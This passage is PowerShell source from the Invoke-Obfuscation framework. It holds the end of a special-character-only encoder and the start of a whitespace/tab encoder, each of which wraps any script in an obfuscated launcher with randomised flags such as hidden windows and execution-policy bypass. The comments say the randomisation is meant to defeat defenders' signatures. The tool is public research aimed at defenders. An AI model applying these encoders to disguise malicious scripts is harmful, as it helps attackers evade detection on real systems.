${%``*} = +$() ; ${(\$}=${%``*} ; ${ *}=++ ${%``*};${$)(} = ++${%``*};${ } =++${%``*};${,+]}= ++ ${%``*} ; ${,} =++ ${%``*}; ${!``@} =++${%``*} ;${.} = ++ ${%``*}; ${]\}=++ ${%``*} ;${+}=++${%``*} ;${,-\}="["+"$(@{})"[${.}]+ "$(@{})"["${ *}${+}" ]+"$(@{})"["${$)(}${(\$}" ] +"$?"[ ${ *}]+ "]";${%``*} = "".("$(@{})"[ "${ *}${,+]}" ] +"$(@{})"["${ *}${!``@}" ]+ "$(@{})"[${(\$} ] + "$(@{})"[ ${,+]}]+ "$?"[ ${ *}]+"$(@{})"[${ } ] ) ; ${%``*} = "$(@{})"["${ *}${,+]}"]+ "$(@{})"[${,+]}]+ "${%``*}"["${$)(}${.}"] ;" ${%``*} (${,-\}${]\}${.}+${,-\}${ *}${ *}${,+]} + ${,-\}${ *}${(\$}${,}+ ${,-\}${ *}${ *}${!``@}+${,-\}${ *}${(\$}${ *} + ${,-\}${,+]}${,}+ ${,-\}${.}${$)(} + ${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${,}+${,-\}${ *}${ *}${!``@}+ ${,-\}${ }${$)(}+${,-\}${ }${+} +${,-\}${.}${$)(}+${,-\}${ *}${(\$}${ *}+ ${,-\}${ *}${(\$}${]\} + ${,-\}${ *}${(\$}${]\} +${,-\}${ *}${ *}${ *}+${,-\}${ }${$)(}+ ${,-\}${]\}${.}+${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,+]} +${,-\}${ *}${(\$}${]\} + ${,-\}${ *}${(\$}${(\$}+ ${,-\}${ }${ } +${,-\}${ }${+} + ${,-\}${ }${$)(}+ ${,-\}${,+]}${,} +${,-\}${.}${(\$} + ${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,+]}+ ${,-\}${ *}${(\$}${ *}+${,-\}${ *}${(\$}${ }+${,-\}${ *}${ *}${,+]}+${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${.}+${,-\}${ *}${ *}${(\$}+ ${,-\}${ *}${(\$}${(\$} +${,-\}${!``@}${.} +${,-\}${ *}${ *}${ *} + ${,-\}${ *}${(\$}${]\} +${,-\}${ *}${ *}${ *}+ ${,-\}${ *}${ *}${,+]}+${,-\}${ }${$)(} +${,-\}${.}${ *} + ${,-\}${ *}${ *}${,+]}+ ${,-\}${ *}${(\$}${ *} + ${,-\}${ *}${(\$}${ *}+ ${,-\}${ *}${ *}${(\$} + ${,-\}${,}${+}+ ${,-\}${ }${$)(} +${,-\}${]\}${.} + ${,-\}${ *}${ *}${,+]}+ ${,-\}${ *}${(\$}${,}+ ${,-\}${ *}${ *}${!``@} +${,-\}${ *}${(\$}${ *}+${,-\}${,+]}${,}+${,-\}${.}${$)(}+${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,}+ ${,-\}${ *}${ *}${!``@} + ${,-\}${ }${$)(} +${,-\}${ }${+}+ ${,-\}${.}${+}+ ${,-\}${+}${]\} +${,-\}${ *}${(\$}${$)(} +${,-\}${ *}${ *}${.} + ${,-\}${ *}${ *}${,} +${,-\}${+}${+}+${,-\}${+}${.} +${,-\}${ *}${ *}${!``@}+ ${,-\}${ *}${(\$}${,} +${,-\}${ *}${ *}${ *}+ ${,-\}${ *}${ *}${(\$}+${,-\}${ }${$)(}+ ${,-\}${]\}${$)(} +${,-\}${ *}${ *}${ *} +${,-\}${+}${+}+${,-\}${ *}${(\$}${.} +${,-\}${ *}${ *}${,}+ ${,-\}${ }${ } +${,-\}${ }${+}+ ${,-\}${ }${$)(} + ${,-\}${,+]}${,} + ${,-\}${.}${(\$}+${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,+]}+${,-\}${ *}${(\$}${ *} +${,-\}${ *}${(\$}${ }+${,-\}${ *}${ *}${,+]} + ${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${.} + ${,-\}${ *}${ *}${(\$}+${,-\}${ *}${(\$}${(\$}+${,-\}${!``@}${.}+ ${,-\}${ *}${ *}${ *}+${,-\}${ *}${(\$}${]\} + ${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${,+]} +${,-\}${ }${$)(}+ ${,-\}${.}${ *} + ${,-\}${ *}${ *}${,+]}+${,-\}${ *}${(\$}${ *} +${,-\}${ *}${(\$}${ *}+ ${,-\}${ *}${ *}${(\$} )"| .${%``*}
|
||||
|
||||
.NOTES
|
||||
|
||||
All credit for this encoding technique goes to 牟田口大介 (@mutaguchi) who blogged about it in 2010: http://perl-users.jp/articles/advent-calendar/2010/sym/11
|
||||
This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.danielbohannon.com
|
||||
#>
|
||||
|
||||
[CmdletBinding(DefaultParameterSetName = 'FilePath')] Param (
|
||||
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[ScriptBlock]
|
||||
$ScriptBlock,
|
||||
|
||||
[Parameter(Position = 0, ParameterSetName = 'FilePath')]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Path,
|
||||
|
||||
[Switch]
|
||||
$NoExit,
|
||||
|
||||
[Switch]
|
||||
$NoProfile,
|
||||
|
||||
[Switch]
|
||||
$NonInteractive,
|
||||
|
||||
[Switch]
|
||||
$NoLogo,
|
||||
|
||||
[Switch]
|
||||
$Wow64,
|
||||
|
||||
[Switch]
|
||||
$Command,
|
||||
|
||||
[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
|
||||
[String]
|
||||
$WindowStyle,
|
||||
|
||||
[ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')]
|
||||
[String]
|
||||
$ExecutionPolicy,
|
||||
|
||||
[Switch]
|
||||
$PassThru
|
||||
)
|
||||
|
||||
# Either convert ScriptBlock to a String or convert script at $Path to a String.
|
||||
If($PSBoundParameters['Path'])
|
||||
{
|
||||
Get-ChildItem $Path -ErrorAction Stop | Out-Null
|
||||
$ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path))
|
||||
}
|
||||
Else
|
||||
{
|
||||
$ScriptString = [String]$ScriptBlock
|
||||
}
|
||||
|
||||
# Build out variables to obtain 0-9, "[char]" and "iex"
|
||||
$VariableInstantiationSyntax = @()
|
||||
$VariableInstantiationSyntax += '${;} = + $( ) ; ${=} = ${;} ; ${+} = ++ ${;} ; ${@} = ++ ${;} ; ${.} = ++ ${;} ; ${[} = ++ ${;} ; ${]} = ++ ${;} ; ${(} = ++ ${;} ; ${)} = ++ ${;} ; ${&} = ++ ${;} ; ${|} = ++ ${;} ; '
|
||||
$VariableInstantiationSyntax += '${;} = + $( ) ; ${=} = ${;} ; ${+} = ++ ${;} ; ${@} = ( ${;} = ${;} + ${+} ) ; ${.} = ( ${;} = ${;} + ${+} ) ; ${[} = ( ${;} = ${;} + ${+} ) ; ${]} = ( ${;} = ${;} + ${+} ) ; ${(} = ( ${;} = ${;} + ${+} ) ; ${)} = ( ${;} = ${;} + ${+} ) ; ${&} = ( ${;} = ${;} + ${+} ) ; ${|} = ( ${;} = ${;} + ${+} ) ; '
|
||||
$VariableInstantiation = (Get-Random -Input $VariableInstantiationSyntax)
|
||||
|
||||
${[Char]} = '${"} = \"[\" + \"$( @{ } ) \"[ ${)} ] + \"$(@{ })\"[ \"${+}${|}\" ] + \"$( @{ } ) \"[ \"${@}${=}\" ] + \"$? \"[ ${+} ] + \"]\" ; '
|
||||
$OverloadDefinitions = '${;} = \"\".(\"$( @{ } ) \"[ \"${+}${[}\" ] + \"$( @{ } ) \"[ \"${+}${(}\" ] + \"$( @{ } ) \"[ ${=} ] + \"$( @{ } ) \"[ ${[} ] + \"$? \"[ ${+} ] + \"$( @{ } ) \"[ ${.} ] ) ; '
|
||||
$Iex = '${;} = \"$( @{ } ) \"[ \"${+}${[}\" ] + \"$( @{ } ) \"[ ${[} ] + \"${;}\"[ \"${@}${)}\" ] ; '
|
||||
|
||||
# 1/2 of the time choose to change above variable string concatenation syntax from "${var1}${var2}" to "${var1}" + "${var2}".
|
||||
# This is so defenders won't place false hope in the presence of high counts of }${ for detecting this obfuscation syntax.
|
||||
If((Get-Random -Input @(0..1)))
|
||||
{
|
||||
${[Char]} = ${[Char]}.Replace('}${','}\" + \"${')
|
||||
}
|
||||
|
||||
# 1/2 of the time choose to change above variable string concatenation syntax from "${var1}${var2}" to "${var1}" + "${var2}".
|
||||
# This is so defenders won't place false hope in the presence of high counts of }${ for detecting this obfuscation syntax.
|
||||
If((Get-Random -Input @(0..1)))
|
||||
{
|
||||
$OverloadDefinitions = $OverloadDefinitions.Replace('}${','}\" + \"${')
|
||||
}
|
||||
|
||||
# 1/2 of the time choose to change above variable string concatenation syntax from "${var1}${var2}" to "${var1}" + "${var2}".
|
||||
# This is so defenders won't place false hope in the presence of high counts of }${ for detecting this obfuscation syntax.
|
||||
If((Get-Random -Input @(0..1)))
|
||||
{
|
||||
$Iex = $Iex.Replace('}${','}\" + \"${')
|
||||
}
|
||||
|
||||
# Combine above setup commands.
|
||||
$SetupCommand = $VariableInstantiation + ${[Char]} + $OverloadDefinitions + $Iex
|
||||
|
||||
# 1/2 of the time choose 'char' | % syntax where only one ';' is needed in the entire command.
|
||||
# 1/2 of the time choose simpler ';' delimiter for each command.
|
||||
If((Get-Random -Input @(0..1)))
|
||||
{
|
||||
# Do not add ':' '?' '>' '<' '|' '&' ':' '^' "'" ',' or ' ' to this $NewCharacters list.
|
||||
$NewCharacters = @(';','=','+','@','.','[',']','(',')','-','_','/','\','*','%','$','#','!','``','~')
|
||||
|
||||
# 1/3 of the time randomly choose using only one random character from above.
|
||||
# 2/3 of the time use eleven randomly chosen characters from $NewCharacters defined above.
|
||||
Switch(Get-Random -Input @(1..3))
|
||||
{
|
||||
1 {$RandomChar = (Get-Random -Input $NewCharacters); $RandomString = $RandomChar*(Get-Random -Input @(1..6))}
|
||||
default {$RandomString = (Get-Random -Input $NewCharacters -Count (Get-Random -Input @(1..3)))}
|
||||
}
|
||||
|
||||
# Replace default syntax for multiple commands (using ';') with the syntax of 'char' | %
|
||||
$SetupCommand = '( ' + "'$RandomString'" + ' | % { ' + $SetupCommand.Replace(' ; ',' } { ').Trim(' {') + ' ) ; '
|
||||
}
|
||||
|
||||
# Convert $ScriptString into a character array and then convert each character into ASCII integer representations substituted with our special character variables for each character.
|
||||
$CharEncoded = ([Char[]]$ScriptString | ForEach-Object {'${"}'+ ([Int]$_ -Replace "0",'${=}' -Replace "1",'${+}' -Replace "2",'${@}' -Replace "3",'${.}' -Replace "4",'${[}' -Replace "5",'${]}' -Replace "6",'${(}' -Replace "7",'${)}' -Replace "8",'${&}' -Replace "9",'${|}')}) -Join ' + '
|
||||
|
||||
# Randomly choose between . and & invocation operators.
|
||||
$InvocationSyntax = (Get-Random -Input @('.','&'))
|
||||
|
||||
# Select random ordering for both layers of "iex"
|
||||
$CharEncodedSyntax = @()
|
||||
$CharEncodedSyntax += '\" ' + $CharEncoded + ' ^| ${;} \" | ' + $InvocationSyntax + ' ${;} '
|
||||
$CharEncodedSyntax += '\" ${;} ( ' + $CharEncoded + ' ) \" | ' + $InvocationSyntax + ' ${;} '
|
||||
$CharEncodedSyntax += $InvocationSyntax + ' ${;} ( \" ' + $CharEncoded + ' ^| ${;} \" ) '
|
||||
$CharEncodedSyntax += $InvocationSyntax + ' ${;} ( \" ${;} ( ' + $CharEncoded + ' ) \" ) '
|
||||
|
||||
# Randomly select one of the above commands.
|
||||
$CharEncodedRandom = (Get-Random -Input $CharEncodedSyntax)
|
||||
|
||||
# Combine variable instantion $SetupCommand and our encoded command.
|
||||
$NewScriptTemp = $SetupCommand + $CharEncodedRandom
|
||||
|
||||
# Insert random whitespace.
|
||||
$NewScript = ''
|
||||
$NewScriptTemp.Split(' ') | ForEach-Object {
|
||||
$NewScript += $_ + ' '*(Get-Random -Input @(0,2))
|
||||
}
|
||||
|
||||
# Substitute existing character placement with randomized variables names consisting of randomly selected special characters.
|
||||
$DefaultCharacters = @(';','=','+','@','.','[',']','(',')','&','|','"')
|
||||
|
||||
# Do not add ':' '?' '>' '<' '|' '&' ':' '_' ',' or '^' to this $NewCharacters list.
|
||||
$NewCharacters = @(';','=','+','@','.','[',']','(',')','-','/',"'",'*','%','$','#','!','``','~',' ')
|
||||
|
||||
# 1/3 of the time randomly choose using only one random character from above or using only whitespace for variable names.
|
||||
# 2/3 of the time use eleven randomly chosen characters from $NewCharacters defined above.
|
||||
$UpperLimit = 1
|
||||
Switch(Get-Random -Input @(1..6))
|
||||
{
|
||||
1 {$RandomChar = (Get-Random -Input $NewCharacters); $NewCharacters = @(1..12) | ForEach-Object {$RandomChar*$_}}
|
||||
2 {$NewCharacters = @(1..12) | ForEach-Object {' '*$_}}
|
||||
default {$UpperLimit = 3}
|
||||
}
|
||||
|
||||
$NewVariableList = @()
|
||||
While($NewVariableList.Count -lt $DefaultCharacters.Count)
|
||||
{
|
||||
$CurrentVariable = (Get-Random -Input $NewCharacters -Count (Get-Random -Input @(1..$UpperLimit))) -Join ''
|
||||
While($NewVariableList -Contains $CurrentVariable)
|
||||
{
|
||||
$CurrentVariable = (Get-Random -Input $NewCharacters -Count (Get-Random -Input @(1..$UpperLimit))) -Join ''
|
||||
}
|
||||
$NewVariableList += $CurrentVariable
|
||||
}
|
||||
|
||||
# Select 10 random new variable names and substitute the existing special characters in $NewScript.
|
||||
$NewCharactersRandomOrder = Get-Random -Input $NewCharacters -Count $DefaultCharacters.Count
|
||||
|
||||
For($i=0; $i -lt $DefaultCharacters.Count; $i++)
|
||||
{
|
||||
$NewScript = $NewScript.Replace(('${' + $DefaultCharacters[$i] + '}'),('${' + $i + '}'))
|
||||
}
|
||||
For($i=$DefaultCharacters.Count-1; $i -ge 0; $i--)
|
||||
{
|
||||
$NewScript = $NewScript.Replace(('${' + $i + '}'),('${' + $NewVariableList[$i]+'}'))
|
||||
}
|
||||
|
||||
# Remove certain escaping if PassThru is selected.
|
||||
If($PSBoundParameters['PassThru'])
|
||||
{
|
||||
If($NewScript.Contains('\"'))
|
||||
{
|
||||
$NewScript = $NewScript.Replace('\"','"')
|
||||
}
|
||||
If($NewScript.Contains('^|'))
|
||||
{
|
||||
$NewScript = $NewScript.Replace('^|','|')
|
||||
}
|
||||
}
|
||||
|
||||
# If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript.
|
||||
If(!$PSBoundParameters['PassThru'])
|
||||
{
|
||||
# Array to store all selected PowerShell execution flags.
|
||||
$PowerShellFlags = @()
|
||||
|
||||
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
|
||||
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
|
||||
$CommandlineOptions = New-Object String[](0)
|
||||
If($PSBoundParameters['NoExit'])
|
||||
{
|
||||
$FullArgument = "-NoExit";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['NoProfile'])
|
||||
{
|
||||
$FullArgument = "-NoProfile";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['NonInteractive'])
|
||||
{
|
||||
$FullArgument = "-NonInteractive";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['NoLogo'])
|
||||
{
|
||||
$FullArgument = "-NoLogo";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle)
|
||||
{
|
||||
$FullArgument = "-WindowStyle"
|
||||
If($WindowsStyle) {$ArgumentValue = $WindowsStyle}
|
||||
Else {$ArgumentValue = $PSBoundParameters['WindowStyle']}
|
||||
|
||||
# Randomly decide to write WindowStyle value with flag substring or integer value.
|
||||
Switch($ArgumentValue.ToLower())
|
||||
{
|
||||
'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}}
|
||||
'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}}
|
||||
'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}}
|
||||
'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}}
|
||||
default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;}
|
||||
}
|
||||
|
||||
$PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
|
||||
}
|
||||
If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy)
|
||||
{
|
||||
$FullArgument = "-ExecutionPolicy"
|
||||
If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy}
|
||||
Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']}
|
||||
# Take into account the shorted flag of -EP as well.
|
||||
$ExecutionPolicyFlags = @()
|
||||
$ExecutionPolicyFlags += '-EP'
|
||||
For($Index=3; $Index -le $FullArgument.Length; $Index++)
|
||||
{
|
||||
$ExecutionPolicyFlags += $FullArgument.SubString(0,$Index)
|
||||
}
|
||||
$ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags
|
||||
$PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
|
||||
}
|
||||
|
||||
# Randomize the order of the execution flags.
|
||||
# This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags.
|
||||
If($CommandlineOptions.Count -gt 1)
|
||||
{
|
||||
$CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count
|
||||
}
|
||||
|
||||
# If selected then the -Command flag needs to be added last.
|
||||
If($PSBoundParameters['Command'])
|
||||
{
|
||||
$FullArgument = "-Command"
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
|
||||
# Randomize the case of all command-line arguments.
|
||||
For($i=0; $i -lt $PowerShellFlags.Count; $i++)
|
||||
{
|
||||
$PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
}
|
||||
|
||||
# Random-sized whitespace between all execution flags and encapsulating final string of execution flags.
|
||||
$CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join ''
|
||||
$CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3)
|
||||
|
||||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
{
|
||||
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
|
||||
#$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
$CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
|
||||
# Make sure final command doesn't exceed cmd.exe's character limit.
|
||||
$CmdMaxLength = 8190
|
||||
If($CommandLineOutput.Length -gt $CmdMaxLength)
|
||||
{
|
||||
Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters."
|
||||
}
|
||||
|
||||
$NewScript = $CommandLineOutput
|
||||
}
|
||||
|
||||
Return $NewScript
|
||||
}
|
|
@ -0,0 +1,414 @@
|
|||
# This file is part of Invoke-Obfuscation.
|
||||
#
|
||||
# Copyright 2017 Daniel Bohannon <@danielhbohannon>
|
||||
# while at Mandiant <http://www.mandiant.com>
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
|
||||
|
||||
Function Out-EncodedWhitespaceCommand
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Generates Whitespace encoded payload for a PowerShell command or script. Optionally it adds command line output to final command.
|
||||
|
||||
Invoke-Obfuscation Function: Out-EncodedWhitespaceCommand
|
||||
Author: Daniel Bohannon (@danielhbohannon)
|
||||
License: Apache License, Version 2.0
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Out-EncodedWhitespaceCommand encodes an input PowerShell scriptblock or path as a Whitespace-and-Tab encoded payload. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach.
|
||||
|
||||
.PARAMETER ScriptBlock
|
||||
|
||||
Specifies a scriptblock containing your payload.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Specifies the path to your payload.
|
||||
|
||||
.PARAMETER NoExit
|
||||
|
||||
Outputs the option to not exit after running startup commands.
|
||||
|
||||
.PARAMETER NoProfile
|
||||
|
||||
Outputs the option to not load the Windows PowerShell profile.
|
||||
|
||||
.PARAMETER NonInteractive
|
||||
|
||||
Outputs the option to not present an interactive prompt to the user.
|
||||
|
||||
.PARAMETER NoLogo
|
||||
|
||||
Outputs the option to not present the logo to the user.
|
||||
|
||||
.PARAMETER Wow64
|
||||
|
||||
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
|
||||
|
||||
.PARAMETER Command
|
||||
|
||||
Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt.
|
||||
|
||||
.PARAMETER WindowStyle
|
||||
|
||||
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
|
||||
|
||||
.PARAMETER ExecutionPolicy
|
||||
|
||||
Outputs the option to set the default execution policy for the current session.
|
||||
|
||||
.PARAMETER PassThru
|
||||
|
||||
(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Out-EncodedWhitespaceCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive
|
||||
|
||||
powershell -NoP -NonInterac "' '|%{$uXOrcSp= $_ -CSplIt ' ' | %{' ' ; $_ -CSplIt ' ' |% { $_.lEngth- 1}} ; .( ([string]''.LAstINDEXOFANy)[92,95,96]-join'')( (($uXOrcSp[0..($uXOrcSp.lEngth-1)] -join'' ).TrIm( ' ').SPLIT(' ' ) |% {([chAr][iNt]$_) })-join '' ) }"
|
||||
|
||||
C:\PS> Out-EncodedWhitespaceCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru
|
||||
|
||||
' '| % {$gyPrfqv= $_ -csPLiT ' '|% { ' ';$_.SPlIT(' ') | %{$_.LEngth - 1 }}; [StRINg]::joIn( '',((-jOin ($gyPrfqv[0..($gyPrfqv.LEngth-1)])).triM( ' ' ).SPlIT(' ' )|% { ( [CHAr][iNt]$_)}))|&( $eNv:CoMSPEC[4,26,25]-jOiN'')}
|
||||
|
||||
.NOTES
|
||||
|
||||
Inspiration for this encoding technique came from Casey Smith (@subTee) while at the 2017 BlueHat IL conference.
|
||||
This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.danielbohannon.com
|
||||
#>
|
||||
|
||||
[CmdletBinding(DefaultParameterSetName = 'FilePath')] Param (
|
||||
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[ScriptBlock]
|
||||
$ScriptBlock,
|
||||
|
||||
[Parameter(Position = 0, ParameterSetName = 'FilePath')]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Path,
|
||||
|
||||
[Switch]
|
||||
$NoExit,
|
||||
|
||||
[Switch]
|
||||
$NoProfile,
|
||||
|
||||
[Switch]
|
||||
$NonInteractive,
|
||||
|
||||
[Switch]
|
||||
$NoLogo,
|
||||
|
||||
[Switch]
|
||||
$Wow64,
|
||||
|
||||
[Switch]
|
||||
$Command,
|
||||
|
||||
[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
|
||||
[String]
|
||||
$WindowStyle,
|
||||
|
||||
[ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')]
|
||||
[String]
|
||||
$ExecutionPolicy,
|
||||
|
||||
[Switch]
|
||||
$PassThru
|
||||
)
|
||||
|
||||
# Either convert ScriptBlock to a String or convert script at $Path to a String.
|
||||
If($PSBoundParameters['Path'])
|
||||
{
|
||||
Get-ChildItem $Path -ErrorAction Stop | Out-Null
|
||||
$ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path))
|
||||
}
|
||||
Else
|
||||
{
|
||||
$ScriptString = [String]$ScriptBlock
|
||||
}
|
||||
|
||||
# Convert $ScriptString to an ASCII-encoded array.
|
||||
$AsciiArray = [Int[]][Char[]]$ScriptString
|
||||
|
||||
# Encode ASCII array with defined EncodingChar and DelimiterChar (randomly-selected as whitespace and tab, [Char]9).
|
||||
$RandomIndex = Get-Random -Input @(0,1)
|
||||
$EncodedArray = @()
|
||||
$EncodingChar = @(' ',[Char]9)[$RandomIndex]
|
||||
$DigitDelimiterChar = @([Char]9,' ')[$RandomIndex]
|
||||
|
||||
# Enumerate each ASCII value and (ultimately) store decoded ASCII values in $EncodedArray array.
|
||||
ForEach($AsciiValue in $AsciiArray)
|
||||
{
|
||||
$EncodedAsciiValueArray = @()
|
||||
# Enumerate each digit in current ASCII value and convert it to DelimiterChar*Digit.
|
||||
ForEach($Digit in [Char[]][String]$AsciiValue)
|
||||
{
|
||||
$EncodedAsciiValueArray += [String]$EncodingChar*([Int][String]$Digit + 1)
|
||||
}
|
||||
$EncodedArray += ($EncodedAsciiValueArray -Join $DigitDelimiterChar)
|
||||
}
|
||||
|
||||
# Set $IntDelimiterChar to be two instances of $DigitDelimiterChar.
|
||||
# $IntDelimiterChar will essentially be like the comma in the original ASCII array.
|
||||
$IntDelimiterChar = $DigitDelimiterChar + $DigitDelimiterChar
|
||||
|
||||
# Join together final $EncodedString with delimiter selected above.
|
||||
$EncodedString = ($EncodedArray -Join $IntDelimiterChar)
|
||||
|
||||
# Generate random case versions for necessary operations.
|
||||
$ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%')
|
||||
$SplitMethod = Get-Random -Input @('-Split','-CSplit','-ISplit')
|
||||
$Trim = Get-Random -Input @('Trim','TrimStart')
|
||||
$StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$Length = ([Char[]]'Length' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$SplitMethod = ([Char[]]$SplitMethod | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$SplitMethod2 = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
